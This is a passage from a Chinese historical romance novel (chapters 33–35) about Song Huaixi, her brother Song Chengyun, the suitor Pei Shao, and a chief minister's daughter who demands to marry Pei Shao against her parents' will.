雪花洋洋洒洒,落在眼睫上,挡住他欲往前张望的目光。 窸窸窣窣的走路声,伴随着清甜软糯的声音,愈来愈近,很快,一道身影扑进他的怀里。 宋承云很想睁开眼,可那些雪花仿佛粘拈在眼皮上一样,他始终睁不开,便一直无法看清怀里女子的长相,只模模糊糊知道是一道柔软的绯色身影。 怀里的女子蹭着他的胸膛,清软的声音不断钻进耳朵里,而后像随波漾开的水纹,一道一道,荡进他心里。 大雪纷飞,唯有怀中柔软温暖。 理智告诉他,他该推开怀里的女子,但身体却仿佛有自己的意识,有一种渴望靠得更近的念头。 总之,几乎没有挣扎,他听从内心的想法,反手紧紧抱住怀中柔软的女子。 可被拥在怀里的女子不知为何,她好似有些不安,开始挣脱起来,不停地喊着哥哥。 宋承云觉得好像有些不能自已,察觉到她的不安,他很快便松开她。 可那喊他哥哥的女子并没有马上逃离开他的怀抱,而是伸出手,拂去遮住他眼帘的雪花。 在极致的纯白雪光下,宋承云睁开眼睛先看到的,是一双干净又剔透,仿佛不曾沾染世间尘埃的眼眸。 他的目光滑过那张莹白小脸,浓秀的眼睫,灵动的梨涡,粉似桃花的双颊 一寸一寸拼凑起来,等他完全认清眼前的女子,她倏地原地化成冰雪,而后慢慢消散。 宋承云只觉得脑袋里嗡地一声,如冰封一般,整个人无法动弹。 怎么会是她? 因为过于震惊,摇晃的烛光下,榻上的男子猛地睁开眼。 从雪白中忽然坠出,宋承云微眯了眯眼,慢慢适应另一片昏暗。 眼前的景象有些模糊不清,头部还在隐隐发痛,想抬手按压时,发现手臂边还趴着一个人。 掌心贴着另一个人的掌心,湿黏的温热随着意识的回笼慢慢清晰。 宋承云微转过头,看清手臂上是谁后,内心微叹了口气。 还在做梦,只是又换了场景, 小姑娘倾斜着身子趴在榻边,一手枕着自己的臂弯,一手紧握着他的掌心。 长而黑的发丝松散地披在整个背上,仿佛上好的绸缎,偶有几丝垂落在颊边。 她呼吸绵长,粉色饱满的樱唇微微张开,呼吸间发丝微动。许是他的动作扰了她美梦,她舔了舔唇瓣,不满地嘤咛了几声。 眼前的这张脸和刚刚怀中的那张脸在一瞬重合。 上一个梦境震惊过后,此刻,宋承云反而平静下来。 他面无表情,安静地盯着如今这张熟睡的脸庞,想看看这次梦境又能延续多久。 可不知过了多久,眼前的场景仍然没有消失。 连一丝变换都没有 手臂有些发麻,麻痛感很真实。 宋承云突然意识到,他在等梦境自然消散。 为什么呢? 难道梦里他都担心惊醒这位熟睡的女子吗? 可只是一个梦,惊醒了又怎样? 梦就是梦,本就是易碎易醒的。 饶是再怎么忍耐身上的不适,臂边的身影还是慢慢动了起来。 即便那女子揉着眼睛向他俯身过来,宋承云仍然没有收回目光。仿佛这样能证明些什么一样,他直直地盯着她,越来越近,越来越近 直到被握紧的指节被松开,黏腻的汗湿一下化为微寒。 她发丝上清甜的草木香扑面而来,而他额头上是淡淡的温热,耳边还有软糯的呢喃 宋承云下意识地握住手掌,淡淡的青筋纹路凸出。他觉得这个梦,比刚刚的每一段梦都要真实,连他自己的感官都真实地可怕。 他能清晰地感觉到自己心房的每一下擂动,像是提醒,像是震慑,在告诉他,该醒了,该醒了。 宋承云闭上眼睛。 不看就不会心乱。 可那股清甜的味道没有消失,呢喃声慢慢变得清亮,仿佛还有些焦急。 “哥哥,你醒了吗?” 饶是梦中,他也没办法不回应她。 妥协般地睁开眼,看到那双满是担忧的剔透眼眸。 而后,门外传来敲门声,是松毫小心翼翼在呼唤姑娘 原来是真的 怀夕原本只想等到宋承云睡着就换松毫进来守夜,因手被拉着,她只能寻了个舒服些的姿势,半倚在榻边,没曾想竟瞌睡过去。 松毫洗簌后便一直守在门外,又不敢轻易推门进来,好在等了半个时辰,终于听到屋里有了动静。 怀夕开了门,同松毫说哥哥醒了,让他去准备好梳洗的水和衣物。待她走回屋里,发现哥哥已经端坐了起来。 一看到她走近的脚步声,他眼都没抬,说道:“回去歇息吧。” 他的声音低低的,哑哑的。 怀夕不放心,仍然走近,凑过去瞧了瞧他神色。 ——回来时的淡淡红晕已经消散,看来酒劲已经退了。 “哥哥,酒醉伤身,以后莫要喝那么多酒了。” 虽然哥哥酒品好,醉酒了只是有些小固执,甚至比平日好说话不过喝多了总是不好,能少喝还是少喝些 “嗯。”宋承云淡淡应道。 “我听松毫说,梁老夫子和大哥哥他们就住在王府,明日我早些去看看,今日还没同大哥哥讲上话” 看宋承云垂眸捏着鼻梁,怀夕料想醉酒后不会舒服到哪里去,便收住话头,“那我回去了,哥哥收拾好早些安寝吧。” 宋承云点了点头,待听到哐当一声掩门声,才缓缓抬眸,往声音消逝的方向看去- 翌日,怀夕到了王府,先去王老太师夫妇那里请了个安,正逢梁老夫子和几个学生同在厅上,便也不用单独再去拜见。 只是到了京城,梁老夫子的行程早已王老太师安排得妥妥当当,同他们说了一会话,王老太师和梁老夫子便要见友人去。 临走前,梁老夫子让几个学生或可结伴出行,去城中走走,不过这些太师府早已安排好。 车架准备间隙,众人移步到院中凉亭等待,那几位学子知道怀夕和宋承亭这位哥哥久别重逢,定有一些话说,便借口赏景,默契地将凉亭留给兄妹二人。 宋承亭与怀夕虽不算亲近,不过他算是难得对怀夕怀有善意的人,所以怀夕对这位大哥哥向来也颇为敬重。 不过两人毕竟差了好些年岁,从前碰面除了打招呼,也没什么话好讲。可多年未见,小妹妹长成了亭亭玉立的大姑娘,两人没有生疏,反而更熟稔一般。 泸州虽是怀夕长大的地方,可说到底,如今有哥哥在身边,她平日对泸州并不算很惦念。 只是当宋承亭说起泸州那些耳熟的街道,说起那里的藕粉和枇杷,说从前他们住的宅院里,梨花开了又落,落了又开,怀夕还是忍不住想起从前生活的场景。 两人有说有笑,颇是融洽。 只是说到他们住的那个小宅院,宋承亭心里难免有些惭愧。 虽然议论长辈不是君子所为,但大伯母当初的的确确是被逼出主宅的如今,眼见承云扶青云而直上,自己的父母在家常常扶额叹息。 他们虽不说,但宋承云知道,他们十分后悔当初为了蝇头小利,在大伯父去世后,亏待大伯母母子。 而承云上京前做主分了家,如今他们兄妹离家几年,从未回过泸州,明眼人哪里看不出,那是承云有意与他们划清界限。 祖母身子越来越差,二房在宗族的话语权越来越差, 他又没有这位弟弟的天分,去年乡试还是落了榜 泸州县那么小的地方,拜高踩低的人却不少,这几年家里的生意越来越不好做,好在承林也有些经商的天赋,族里交给他打理的几个铺子倒也经营得有声有色。 其实不仅祖母和父亲,族里也有意同宋承云修复关系,原本族里每年属于大房的分红,都是族长那边安排人送来金陵。听母亲说,今年族里有意让他弟弟,也就是宋承林跟随族长儿子宋承晖将分红送来。 虽有彰显二房诚意的意思,但宋承亭多少有耳闻,族里的盐引即将到期,新任的州府长官出身清河书院,族里是想来求求宋承云,看有没有什么办法,让族里的盐引能顺利续期。 宋承亭其实有些看不上这些行径,但家中只让他专心读书,有关经商一应事宜,父亲很少同他商量。 最后到底是谁来,他也不确定,毕竟他已经离家同夫子上京 虽说不上什么话,但宋承亭还是同怀夕提了一嘴,说中秋后族里或许会派人来京里,不管怎样,让他们兄妹有点心理准备也好。 原以为提到承林,怀夕多少会说些什么,毕竟连他都知道,从前他这个三弟没少欺负她。 但怀夕的反应却有些出乎他意料,听到承林近况,怀夕只是笑笑,反而问起家中其余两个姐妹。 第33章 第33章其中深意,叫人实在参不…… 怀夕其实接过话顺口一提,族里偶尔有书信过来,她知道宋清婉早已结了亲,不过结亲的人家她也不熟识,因此看过便也忘了。 宋承亭答得却很细致,他笑着同怀夕说道:“清婉去年底已诞下一名小女婴,颇是可爱。还有清初,明年才及笄” 见怀夕一直安静听着,宋承亭忽地有些不好意思,其实自己平日也不算多话,只是许久未见,今日讲起来倒是滔滔不绝。 他看着怀夕,也有些好奇他们这几年的生活,于是问道:“昨夜太师盛情设宴,我与二弟也无暇闲聊,也不知道你们这几年在金陵过得如何,北地气候饮食与泸州迥然不同,你们可还适应?” 怀夕笑道:“刚来时的确有些不习惯,北地比我们那吃的辛辣些,哥哥尤其吃不惯,不过呆得久了,如今也好些了。” 说完她不由得想起初来时的一些趣事:那时请了刘婆子当厨娘,因她在吃食上是个贪新鲜口的,酸甜苦辣,只要新奇,什么口味都吃得香,刘婆子便换着花样做了半个月的北地吃食。 但怀夕不知道,刘婆子做的那些吃食,哥哥都吃不惯。 泸州靠海,物资丰饶,不似北地饭桌上常有腊肉腌鲜,宋承云口味清淡,北地的菜多数不合胃口。 若不是后来松毫实在不忍心看下去,偷偷找到怀夕将实情告知,怀夕真的没有察觉。 所以后来,怀夕特意教刘婆子做泸州的菜式,又有意在饭桌上观察,发现哥哥确实比从前多吃一些,这事才揭过 宋承亭听完不由得笑了笑,虽初来金陵,但几顿膳食之后,对这里的饮食也有大概了解,的确是重口不少。 又闲聊几句,便有婢女来报,说是外头车驾已准备好,请他们移步,怀夕自然不跟他们一起去,便与宋承亭道别。 天色还早,她原本想去看看王郁心再回家,不过到了她院门口,见丫鬟都在门外,猜到她有客人,便没让丫鬟通报,直往王府后门走。倒没想到,刚登上自家马车后,马夫刚坐上车头,窗檐处就哒哒两声叩窗声。 怀夕掀开帘子,发现叩窗之人是裴劭。她并不是很意外,近日来王府,十有八次能遇到他。 他应是刚到,他的随从春阳正从他手上接过马绳,见她掀帘,朝怀夕行了个礼,便牵着马下去了。 裴劭微低下头,清俊的脸庞看着马车内的怀夕,问:“这么快就走了?” 怀夕笑着点点头:“是,裴世子。” 知道她们要走,裴劭却丝毫没有让路的自觉,继续问道:“我听说,你兄长的恩师入京了?” 怀夕笑答:“是,梁老夫子携他几位学生上京来游学,其中还有我的族兄” 裴劭边听边点头,借着怀夕说话时,盯着她的脸庞看。 她肤色向来清透红润,因此眼下的鸦青显得极为明显。 裴劭皱了皱眉,打断她,“昨日没睡好么?”只是说完后,他又觉得这个问题有些冒犯,于是解释道:“看你眼下有些灰青” 怀夕倒是不以为意,只是也不欲解释什么,笑着摇摇头,“多谢裴世子关心,只是睡晚些了些,不妨事。” 听她一口一句裴世子,明显的疏离之意,裴劭拧了拧眉,“不是说了别唤我世子吗?” 余光看到有车夫在,他声音低了几分,“唤裴劭即可。” 只是他的声音虽低了一些,可怀夕靠在窗沿边上,还是听得很清楚。 听清之后,她忍不住有些羞赧,身躯微微退回马车内。 马车里,小艾虽极力想让自己化为无形,可在亲耳听到裴世子若有似无幽怨的语气,还有自家姑娘难得一见的羞态时,还是忍不住用帕子捂住嘴巴 直到怀夕回头瞪了小艾一眼,小艾才咬着唇压下笑意。 怀夕忽然回头,裴劭的目光也跟着她探进马车里,这才发现马车里还坐了她的婢女,于是俊脸上不禁也染上一层淡淡的红晕 怀夕并不理会裴劭的后一句话,先不说她对裴劭到底喜不喜欢,就算喜欢,他们之间仍有身份之别。 她再呆板,也知道哥哥如今身在官场,她说话处事更要小心些。 “世子进去吧,我们先走了。” 裴劭有意同她多说几句话,可门外人多眼杂,终究不敢留她太久,只好点头。待目光所及看不到她的马车,才转身往府内走去- 裴劭一进府,直接就往王楚修的书房去。 这阵子他来王府,十有八次,是因为怀夕。他特意求了姨母,在她身边留了一人,替他在王府留意怀夕有无登门,因此,怀夕每次一到,他只要能走开,后脚也就到了。 虽不是每次都能说得上话,但能远远见到,心里也甚是满足。 不过今日遇到怀夕,却是意外。 他今日来,是有太子的授意。 近日朝廷里表面上风平浪静,实则暗潮涌动。 当今圣上治国有方,临朝十几年,虽边疆不时还有些小动乱,但在圣上休养生息的治国方略下,百姓也算安居乐业。 可社会太平,底下有些臣子便也就有精力想同圣上斗法。 当今圣上继位颇有些曲折色彩,圣上并不是世宗皇帝的亲儿子。世宗皇帝唯有一子,也就是前太子俞麟,与裴劭父亲裴琨同时战死于西北。 世宗时天下并不太平,边疆几个部落屡次结盟进犯,气势最盛时,直捣西北腹地宣化,西北差点失守,后来俞麟太子亲自挂帅,裴琨为副将,历经半年收复失地。 这半年说长不长,说短不短,虽暂时驱赶走几个部落,可俞楚国的军队也付出了惨痛的代价。 那几个部落世代生长在北地,对气候和地形把握精准,俞楚国在多次战役中屡次落于下风。在决胜之战中,俞麟太子和裴琨制定了一个周密的战术,却不知为何计划会泄露出去,结果便是大半兵士在部落的伏击下非死即伤。 最后,俞麟太子为鼓舞士气,亲自挂帅,最后英勇战死于那一役中。而副将裴琨,拼死带着最后剩余的几千兵士,生生突围出来。 在之后的几个战役中,裴琨被临时任为主将,一改之前防御为主的战术,几次猛击强攻,又用计激化部落之间内部矛盾,里外合力,最终将几个部落逐一赶出边境。 裴琨原本就有伤在身,加上俞麟太子逝世后,他日夜为战争殚精竭虑,呕心沥血,最后,也等不到班师回朝就 因伤病逝在宣化。 一场战役,俞楚国痛失一主一将和许多兵士,世宗皇帝还没从悲痛中缓过来,朝臣已经高呼国不可一日无本。 很快,世宗皇帝只能从旁宗里过继了一个儿子,便是当时还只是世子的圣上。 为什么会选中当时的世子呢,除了才干,可能也有世子父亲荣亲王爷早逝的原因。 而世宗皇帝在过继太子不久后便逝世,当今圣上登基,在群臣的谏议下尊世宗皇帝为皇考,而荣亲王改成皇叔父。 如今天下大定,当今圣上临朝十余年,大权在握,羽翼丰满,便动了重论生父尊号的念头。 只是圣上没曾想,他只是在朝堂上提了一嘴,立刻引起廷臣争议,而此事从初提至今不到一月,还有不少臣子在抗疏力争。 圣上被群臣这一番“围剿”后,反而更坚定重论尊号一事,君臣关系,也陷入史无前例地紧张。 圣上总不可能向臣子低头,但也不想一直这样僵持着。所以,打破君臣对峙的局面,便需要一些契机。 而不久之后的“十月朝”——郊祀,便成为此事契机。 圣上有意在郊祀祭祖时,追尊生父为皇帝。 但这个想法,要有人来替他提出来,这个人,还必须是在朝廷上有威望有号召力的人。 有威望有号召力,首辅沈震当仁不让。 可自此事在朝堂热议一月以来,这位首辅的态度却始终令人无法琢磨。 ——因为,他不表态。 圣上自然不可能向首辅说情,那么,作为储君的太子,自然要急皇父之所急。当然,太子也不可能公然找上首辅,所以,只能借裴劭的身份来转圜。 十几年过去,沈震从翰林院一名侍讲走到如今一人之下的内阁首辅,可能许多人都忘了,当初他只是寄居在夏家的贫寒远房亲戚。 夏老将军心善,当初沈震母亲带他们兄妹投靠夏家时,夏老将军明知这门亲戚不知道得拐多少道弯才能扯上关系,还是给了他们一个落脚的地方,还让沈震与他的孩子一同上学堂。 后来,沈震才学凸显,夏老将军惜才,自己又只有两个女儿,便将他收作养子。可以说,沈震一帆风顺的仕途后面少不得夏老将军的扶持。 所以,沈震的儿子沈竟轩与夏敏的大姑娘王郁雾结亲,也算是亲上加亲。 也就是说,裴劭私下也是唤沈震一声舅舅的。 太子欲在王府见沈震,来之前,便让裴劭过来告知王老太师和王楚修此次安排。 王老太师作为两任帝师,也是当今太子的启蒙老师,他的立场很清晰。 但沈震的立场,就有些难以琢磨了。 太子自小被立为储君,深受圣上恩宠,可那是在二皇子长成前。二皇子如今年仅十五,可圣上已允他参政议政,若不是言官阻拦,年初贵妃意外流产后,圣上为了补偿贵妃,还有意加封二皇子为亲王。 在有太子的前提下对二皇子如此盛宠,怪不得朝臣私下多有猜测。 而当今贵妃,就是沈震的亲妹妹沈音。 沈震若是支持二皇子,情有可原。可他倚重的长子沈竟轩,又与太子派的太师府结了亲。 此举到底是不是在向太子表明立场? 其中深意,叫人实在参不透 第34章 第34章我要嫁给裴劭 裴劭与王家父子在书房谈话的同时,王郁心正与沈震的小女儿沈玉瑶从屋内走了出来,欲往花园闲逛。 王郁心揽着沈玉瑶的手臂,边走边诉苦:“瑶姐姐哪里知道我的苦楚,明明是姐姐要嫁人,母亲偏要我也一起去听那教养嬷嬷说教” 夏敏一直觉得王郁心性子过分活络,只是平日她一撒娇,自己也舍不得责怪。也因此,那些贵女会的技艺,王郁心通通都是半吊子。而那些贵女不会的,譬如舞刀弄枪,她倒是一把好手。 担心小女儿将来在婆家吃亏,夏敏痛定思痛,这次请了宫里的教养嬷嬷,一方面是教大女儿一些夫妇相处之道,另一方面,也是借机规训一下小女儿。 沈玉瑶虽比王郁心大一岁,可也是家里最娇宠的小女儿。沈震后院清净,只有谭氏一妻,两人育有二子一女,所以对她这唯一的女儿是千娇百宠的。 不过沈玉瑶与王郁心却大大不同。 沈玉瑶举手投足都是标准的贵女风范,论礼仪,论学问,论琴棋书画,论女红刺绣,她在京城贵女圈中都是佼佼者。 就别说身份地位了,父亲是首辅,姑姑是贵妃,既是皇亲国戚,又是清流门第 说句实话,若不是沈家与王家结亲,沈玉瑶与王郁心大概也相处不到一块去。 不过,做了亲戚自然不同旁人。相处久了,沈玉瑶也颇喜欢王郁心单纯直白的性子。 自小围在她身边的贵女不少,可几乎看重的都是她背后的身份,艳羡的、嫉妒的、攀附的,看得多了,自然知道王郁心这种性子的珍贵。 况且,还有一层更深的原因。 便是裴劭。 沈玉瑶自八岁起便常常入宫陪伴姑姑,姑姑很疼爱她,因此她每年都会在宫里住上一两个月。 那时太子还是皇帝亲自教养,未搬去东宫,因此,沈玉瑶在宫里常常能见到作为太子伴读的裴劭。 姑姑受宠,她的身份自然也比寻常贵女尊贵许多,所以到哪都是别人瞩目的焦点。 唯有裴劭,每次都对她视若无物。 当然,待后来懂事些,她也知道,裴劭只是性子使然,对不熟悉的人,向来缄默些, 只是那时还小,所以常常暗自较量。他不理她,她便对他愈是冷漠。因此,宫中几年,除了必要的礼节,两个人一句话都不曾说过。 后来太子成年,迁到东宫。 那年,裴劭十五岁,她十三岁。 寡言沉默的孩童长成肆意张扬的少年郎,对见到的每一个人都温朗有礼,其中也包括她。 少女心事朦胧,那些暗自较量何时化为道不明的青涩,连她自己都很难说清楚。 沈玉瑶只知道,少年郎褪去稚嫩,身披铠甲,纵马离开京城的背影,从某一刻起,常常在她梦里出现。 无从争辩,她知道,自己动了心。 长大了就是有一点不好,有些东西一眼便能看到实质,譬如裴劭不喜欢她这件事情。 他疏朗有礼,偶然瞥向她的视线坦坦荡荡 与小时那种懵懂胡乱猜测不同,少女心思细腻,不至于区分不出心上人眸里的话意。 但又有什么关系呢? 在她眼里,没有比她更能配得上裴劭的人了。 她千娇百宠,自小便是父母亲的掌上明珠。她身份尊贵,她的父亲是百官之首的首辅,她还有深受皇宠的嫡亲姑姑。她想得到的东西,从来没有得不到过。所以不着急,待及笄之后,一切都会水到渠成。 但她从未想过,在这之前,裴劭有可能会喜欢上别人。 耳边是王郁心不满的嘟囔声,沈玉瑶却无法如往日一般作温柔态安慰她。 她的大哥哥与郁雾姐姐不日成亲,近日要避讳,不好见面。可互有情意的小儿女哪能按耐得住,沈竟轩便让妹妹私下替她送东西给王郁雾。 只是不巧,沈玉瑶来时,王郁雾已被夏敏叫走,她只好先转到王郁心这里。 倒也巧,无意得知王郁心也是另一个“中间人”。 沈玉瑶刚被请进王郁心屋里不久,便有丫鬟捧着个精美的木雕嵌白玉盒,说是裴世子让春阳送来的。 沈玉瑶听到裴劭的名字,不禁多看了两眼那盒子。 王郁心并不避讳着她,当着她的面打开,满满一盒的首饰,琳琅满目。 沈玉瑶什么宝物没见过,一眼就认出最上面的那根步摇出自多宝斋。王郁心显然也看出来了,脸上虽高兴,可还是嘟囔着:“哼,裴劭这家伙,就会用这些东西来贿赂我。” 沈 玉瑶没忍住,重复道:“贿赂?” 王郁心是个藏不住话的,也对沈玉瑶没设防,随口道:“送给怀夕姐姐的就是他亲自雕刻的玉佩,送给我的就是这些。” 满满一盒多宝斋的首饰,价格多贵重自然不用说,王郁心显然是得了便宜还卖乖,从盒子里捡了一只流苏,努了努嘴,“明显不用心,看吧,连颜色都不是我喜欢的” 再迟钝的人也听出了些端倪,何况沈玉瑶这般聪慧的女子。她的心猛地一沉,脸上的表情有瞬间的冻结。 王郁心的话在心里闪闪晃晃,最后拼凑出她能理解到的意思。 裴劭给宋怀夕亲自雕刻玉佩 裴劭喜欢宋怀夕? 可结论刚落,她又忍不住摇摇头。 怎么可能? 一个乡野之地来的女子,一个身份低微的女子,一个她从未放在眼里的女子 总之,是一个她不认为裴劭会看上的女子,有什么值得她不安? 沈玉瑶深吸一口气,试图摈除这个不可思议的念头。 她稳着情绪和王郁心逛了一会花园,心里那股奇怪的不安与焦躁却始终平复不下,将哥哥的东西交给王郁雾后,她便寻了个借口匆匆回了沈府。 一回到沈府,沈玉瑶直奔首辅夫人,她的母亲谭氏院里。 正在屋内与仆妇说话的谭氏被门口一阵喧闹声打断,身边的仆妇正了正脸,走到门前,正要责问是哪个不懂事的丫鬟扰了夫人清静,就被迎面跑来的三姑娘推了一把,险些摔倒,踉跄了好几步才被跟过来的丫鬟扶住。 待看清来人,仆妇和丫鬟们连忙给沈玉瑶行礼,又被沈玉瑶挥手都赶出屋内。 谭氏坐在罗汉床上,见女儿一反常态的行径,脸色冷了下来,“都是大姑娘了,也该知道轻重缓急了,再大的事也不用搞出这般动静,叫底下人笑话。” 沈玉瑶才不理会底下人怎么看,谁敢说什么,一顿板子赏下去,看他们还有没有力气说话。 不得不说,沈玉瑶对裴劭一直有种势在必得的坚定,那是她与生俱来的尊贵带给她的傲气和底气。 因为太过理所当然,因为甚少有事物会脱离掌控,以致于想到心爱的东西有可能无法得偿所愿所带来的那种恐慌和不安感,让她这个京城中最标准最沉稳的贵女一时也失了理智和分寸。 忍了一路的情绪,在见到最疼爱自己的母亲时终于开始崩了。 沈玉瑶不顾顾氏冷下的脸,直扑到谭氏怀夕,眼泪夺眶而出。很快,白皙的脸庞上挂满了泪珠。 谭氏哪里见过女儿这般作态,立马心疼得不得了,哪里还会计较刚刚那些礼数。 可问她怎么回事,沈玉瑶却哭得更厉害。谭氏只好一遍又一遍地抚着她的背,哄她莫哭,又劝慰道:“什么人惹得娘亲的心头宝这般伤心,母亲定好好发落她,可好?” 沈玉瑶在母亲怀里哭了好一会,才慢慢收住眼泪。 谭氏捧着她的脸盘,替她拭干眼泪。 沈玉瑶肩膀耸动,声音还有些哽咽,她紧紧抓着谭氏的袖口,抬头问她:“母亲说过,我想要什么,都会拼尽全力为瑶儿寻来,对吗?” 对着谭氏,沈玉瑶褪下在外的那份孤傲,脸上是属于小女儿的娇气和倔强。 谭氏虽不知女儿为何提起这些话,但在女儿殷切的目光里她还是肯定地点点头 确实是她哄女儿的话,但也确实是实话。 自己险些踏入鬼门关得来的这枚宝珠,金尊玉贵,什么好东西她都值得拥有。 见谭氏点头,沈玉瑶好似抓到什么救命稻草,眼神亮起来,追问确认,“人也可以么?” 谭氏见女儿眼泪又开始掉,想都没想,又点点头。 想到裴劭可能有了心悦的人,沈玉瑶心里便难受得仿佛有火在灼烧,她拉着谭氏的手,渴望无所不能的母亲能帮她的忙。 “我要裴劭。”带着啜泣的声音,沈玉瑶在谭氏不可置信的目光中说道,“母亲,我要嫁给裴劭。” 第35章 第35章第一次有得不到的东西…… 谭氏愣了愣,不敢相信自己听到的,声音提高,“你说什么?” 沈玉瑶还有些抽泣,可目光却十分坚定,“姑姑说过,满京城的郎君都可以任我挑选,母亲,你同父亲不是有意替我选婿吗?我就要裴劭。” 沈玉瑶本不认为此话有什么不妥,论才貌,论家世,裴劭都配得上她。 谭氏意识到沈玉瑶不是在开玩笑,脸色立马沉了下来,语气携了两分冰冷:“不行。” 意料不及的反应,沈玉瑶顾不得拭去脸上的泪珠,讶异道:“为什么不行?” “除了裴劭,谁都可以。”谭氏张了张嘴,可有些话到嘴边,却说不出口。 虽然不知一向沉稳的女儿怎么突然说出这样无理且不合时宜的话,但眼下看着女儿两眼涟涟,她到底心疼,还是软了软语气,试图同女儿讲道理,“原本是想多留你两年,不过也没关系。你若愿意,我同你父亲商量一下,待你哥哥大婚后” 沈玉瑶哪里不知道,母亲语气虽软了,但态度却依然没变,她打断谭氏的话,“母亲,我想嫁给裴劭,到底有何不可。” 儿女总能轻易拿捏父母,沈玉瑶知道谭氏不舍她哭,于是泪珠落得更大更猛,“有什么不可以的,郁雾姐姐是夏敏姨母的女儿,哥哥可以娶她,那我嫁给夏昭姨母的儿子,不也是亲上加亲吗?” 不知是听到那个许久没听到的名字,还是看着平日乖巧如今却如同魔怔了的女儿,谭氏罕见地有些失态,呵斥道:“闭嘴。” 沈玉瑶从未见过母亲如此疾言厉色的模样,一时也吓在原地。 谭氏瞧见女儿吓成这样,又是惊怒,又是心疼,复将她揽入怀中。 她该怎么同她说,正是因为她是夏昭的儿子,所以不可。 为什么夏昭就算死了,也要让她活在她的阴影之下呢。 搂着哭泣的女儿,谭氏不由得想起二十多年前,自己也是女儿这般年纪。 她嫁给沈震的时候,沈震还只是刚入翰林院的一名小官吏,那时她父亲已是从二品的布政使。 她虽未长在京中,可自小也是按贵女风范教养的。 那年她跟着父亲回京述职,一眼就看上了当年蟾宫折桂的沈震。 父亲也是破落门户出身,靠自己一步一步走上现在的位置,所以并未瞧不起当时的七品小吏沈震,反而对他欣赏有加,再得知他是当时颇有声望的夏将军养子,又高看几眼。 于是,她嫁给沈震便是顺水推舟的事情。 她很满足,嫁给一个才华横溢,前途光明的丈夫,丈夫待她甚是尊重,他的后院很干净,不像自己的父亲,后院总是热热闹闹,而软弱的母亲又总是暗暗垂泪。 沈振只有她一人,而且很快,他们就有了第一个孩子,一切都顺利美满得不像话。 若不是那段时日,夫君起早贪黑,常常几日都不曾回家一次,就算回家了也总是一个人呆在书房,那她可能就不会临时起意,在夫君不在的时候,偷偷进了他的书房,也就不会发现藏于匣里的那一幅幅画 他的夫君一手字画冠绝天下,所以,当看到画上笔触细腻,形神俱备的女子,她一眼就认出画上之人。 那不是裴将军的妻子,夏昭么? 当然,夫君是夏家的养子,夏昭也算是丈夫的妹妹。 算起来,她入京不到两年,见夏昭的次数也不多。 不过印象倒是挺深刻,温柔如水的一个女子,站在威风凛凛的裴将军身边,显得娇弱如同蒲苇。 不可否认,她很美。 可是,远不如画上这般美。 桃花树下、游亭椅上、娇笑的、皱眉的、嗔怒的,她在画上见到了夏昭自小到大不同的神态和样貌。 她才知道,原来那个娇弱的美人,有这样动人的表情。 行云流水 的线条,每一处着墨,都能看出作画人的珍重和小心翼翼。 情随笔意,心里已然种下怀疑的种子,再加上后来的处处端倪,谭氏慢慢才知道,原来丈夫心里,一直藏着一个人。 从回忆里抽除,看着怀里哭得伤心的女儿,谭氏眼里的寒冰渐渐融化,她抱着女儿,安抚道:“瑶儿乖,你想要天上的星星母亲也会想办法替你摘来,可裴劭绝对不行。” 沈玉瑶眼泪汪汪地看着她母亲,见怎么恳求母亲也没有松口的模样,心里越发慌了起来,“母亲,你若不同意,我便” 谭氏似乎知道女儿要说什么,脸色冷了下来,“找你父亲也没用,就算我同意,你父亲也不会同意的。”- 沈玉瑶虽骄纵,可也因着好强的性子,自小样样出挑,谭氏对这个女儿都不用操什么心。 原以为女儿只是一时兴起,好言歹说地劝了一通,见女儿总算止住哭泣,谭氏便放心让她回去。 待沈玉瑶回去后,谭氏立马让人去查,为何女儿从王府回来后就突然魔怔一般,说要嫁给裴劭。 但好一番调查打听,与她所了解的信息都大差不差:女儿与裴劭平日连话都不曾说过几句。 她不明白女儿的执念从何而来? 但再往深些打听,竟还打听出裴劭好似有心悦的女子,正是他丈夫看好的新科状元宋承云的妹妹,叫宋怀夕的。 谭氏有些受打击,不是因为得知女儿一厢情愿喜欢裴劭,而是因为那位新科状元宋承云,本是她与丈夫为女儿选婿人选里最属意的一位。 谭氏原本想瞒着丈夫,让这件事情轻轻掀过,不料沈玉瑶看似听劝回去后,竟然用绝食来做抗争,最后事情还是闹到沈震面前。 可如同谭氏所料,沈震根本不同意女儿嫁给裴劭。 看着虚弱卧床的女儿,沈震不仅没有温言相劝,反而紧绷着脸,冷声说道:“此事绝无可能,你就断了这个念头。” 沈玉瑶从未见过父亲生气的模样,委屈的同时反而激发内心的执拗,她勉强撑着虚弱的身子坐了起来,隔着床帘,倔强地说道:“父亲不同意,我便去求姑姑替我做主。” “你姑姑做不了这个主。”沈震拂袖而去之前,还留了一句话,“裴劭离京之前,你哪里也不准去。” 沈玉瑶人生第一次被禁足,第一次被疼爱自己的父亲呵斥。 第一次有得不到的东西 在母亲追着父亲走出屋子后,她终于忍不住,用被子捂着脸,大声痛哭起来- 这几日日头好,怀夕让翡翠她们把冬日的衣服都收到院子里晒。她在屋内隔着纱窗看着她们在院子里忙活,又低头看着手上快绣好的绣屏。 坐的久了,肩膀有些酸痛,她把针线放下。一旁的小艾看她扭了扭肩膀,走近帮她揉捏。 “哥哥今日也不回来用膳吗?”怀夕仰头问道。 小艾边捏边应道:“松毫刚来传过话,说明日梁老夫子启程回泸州,今夜老太师设了践行宴,公子下值后便过去,让姑娘不用等公子用膳。” “那用膳后还回来吗?”怀夕继续问道。 自上次哥哥喝醉,怀夕已经有七八日没怎么见过他了。 除了有几日翰林院因朝廷闹得沸沸扬扬的礼议事件要留夜值守,其余下值后的空闲时间,哥哥都拿来陪同梁老夫子,有几次因夜里太晚了被老太师留住在王府。 小艾想了想,松毫没特意交待,她点了点头,“公子向来不会让姑娘白等,若是不回来,定会让松毫带话回来的,松毫没说,那今夜定是回来的” 怀夕叹了一声,回来了也不知道多晚,哥哥这几日真是忙得脚不着地。 好在明日休沐,送完梁老夫子和大哥哥他们,应该能好好休息一番。 小艾见她叹气,宽慰道:“姑娘放心,松毫会侍候好公子的。” 怀夕被小艾捏的很舒服,闭着眼睛应道:“嗯。” 桌上放着盘青翠欲滴的当季果子和几碟子糕点,果香扑鼻,小艾给怀夕按捏肩臂的时候忍不住往清香处看去,闲聊般说道:“姑娘,你说三姑娘这阵子怎么送东西送得这般勤?” 往日虽也送,但不至于如此频繁。 怀夕正为这事头疼呢,最近郁心的婢女橘林每隔几日就会来一趟,天南地北好玩的、好吃的、好看的,什么都送过来。 这么明显,她哪里还能不知道,这些东西是谁假借郁心的名义送来的。 怀夕在心底叹了口气,都怪自己。 “小艾,一会你把近来橘林送来的东西一件一件都收出来,放到我屋内桌上。” 